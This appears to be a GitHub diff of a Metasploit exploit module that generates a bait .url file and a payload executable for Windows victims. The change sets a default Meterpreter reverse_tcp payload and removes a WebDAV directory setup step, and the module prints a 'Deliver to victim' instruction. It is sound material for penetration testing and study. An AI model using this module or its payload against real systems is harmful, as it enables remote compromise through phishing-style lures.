4
4
##
5
5
6
6
class MetasploitModule < Msf ::Exploit ::Remote
7
+ include Msf ::Exploit ::Remote ::HttpServer
7
8
Rank = NormalRanking
8
9
9
10
def initialize ( info = { } )
@@ -28,7 +29,18 @@ def initialize(info = {})
28
29
] ,
29
30
'Platform' => 'win' ,
30
31
'Arch' => ARCH_X64 ,
31
- 'Targets' => [ [ 'Windows (generic)' , { } ] ] ,
32
+ 'Targets' => [
33
+ [
34
+ 'Windows (generic)' ,
35
+ {
36
+ 'Platform' => 'win' ,
37
+ 'Arch' => ARCH_X64 ,
38
+ 'DefaultOptions' => {
39
+ 'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
40
+ }
41
+ }
42
+ ]
43
+ ] ,
32
44
'DefaultTarget' => 0 ,
33
45
'Notes' => {
34
46
'Stability' => [ CRASH_SAFE ] ,
@@ -42,7 +54,6 @@ def initialize(info = {})
42
54
[
43
55
OptString . new ( 'OUTFILE' , [ true , 'Output URL file name' , 'bait.url' ] ) ,
44
56
OptString . new ( 'PAYLOAD_NAME' , [ true , 'Output payload file name' , 'route.exe' ] ) ,
45
- OptString . new ( 'PAYLOAD' , [ true , 'Payload to generate' , 'windows/x64/meterpreter/reverse_tcp' ] ) ,
46
57
OptBool . new ( 'GEN_PAYLOAD' , [ true , 'Generate payload and move to WebDAV directory' , true ] ) ,
47
58
OptString . new ( 'WEBDAV_DIR' , [ true , 'WebDAV directory path' , '/var/www/webdav' ] )
48
59
]
@@ -60,21 +71,11 @@ def initialize(info = {})
60
71
end
61
72
62
73
def exploit
63
- prepare_webdav_dir
64
74
generate_payload_if_needed
65
75
write_url_file
66
76
print_status ( "Module complete. Deliver #{ File . expand_path ( datastore [ 'OUTFILE' ] ) } to victim." )
67
77
end
68
78
69
- def prepare_webdav_dir
70
- print_status ( 'Creating WebDAV directory if not exists...' )
71
- FileUtils . mkdir_p ( datastore [ 'WEBDAV_DIR' ] ) unless File . directory? ( datastore [ 'WEBDAV_DIR' ] )
72
- rescue Errno ::EACCES
73
- fail_with ( Failure ::NoAccess ,
74
- "Cannot create WebDAV directory. Permission denied.\n " \
75
- "Try restarting Metasploit with sudo or change ownership of #{ datastore [ 'WEBDAV_DIR' ] } ." )
76
- end
77
-
78
79
def generate_payload_if_needed
79
80
return unless datastore [ 'GEN_PAYLOAD' ]
80
81
0 commit comments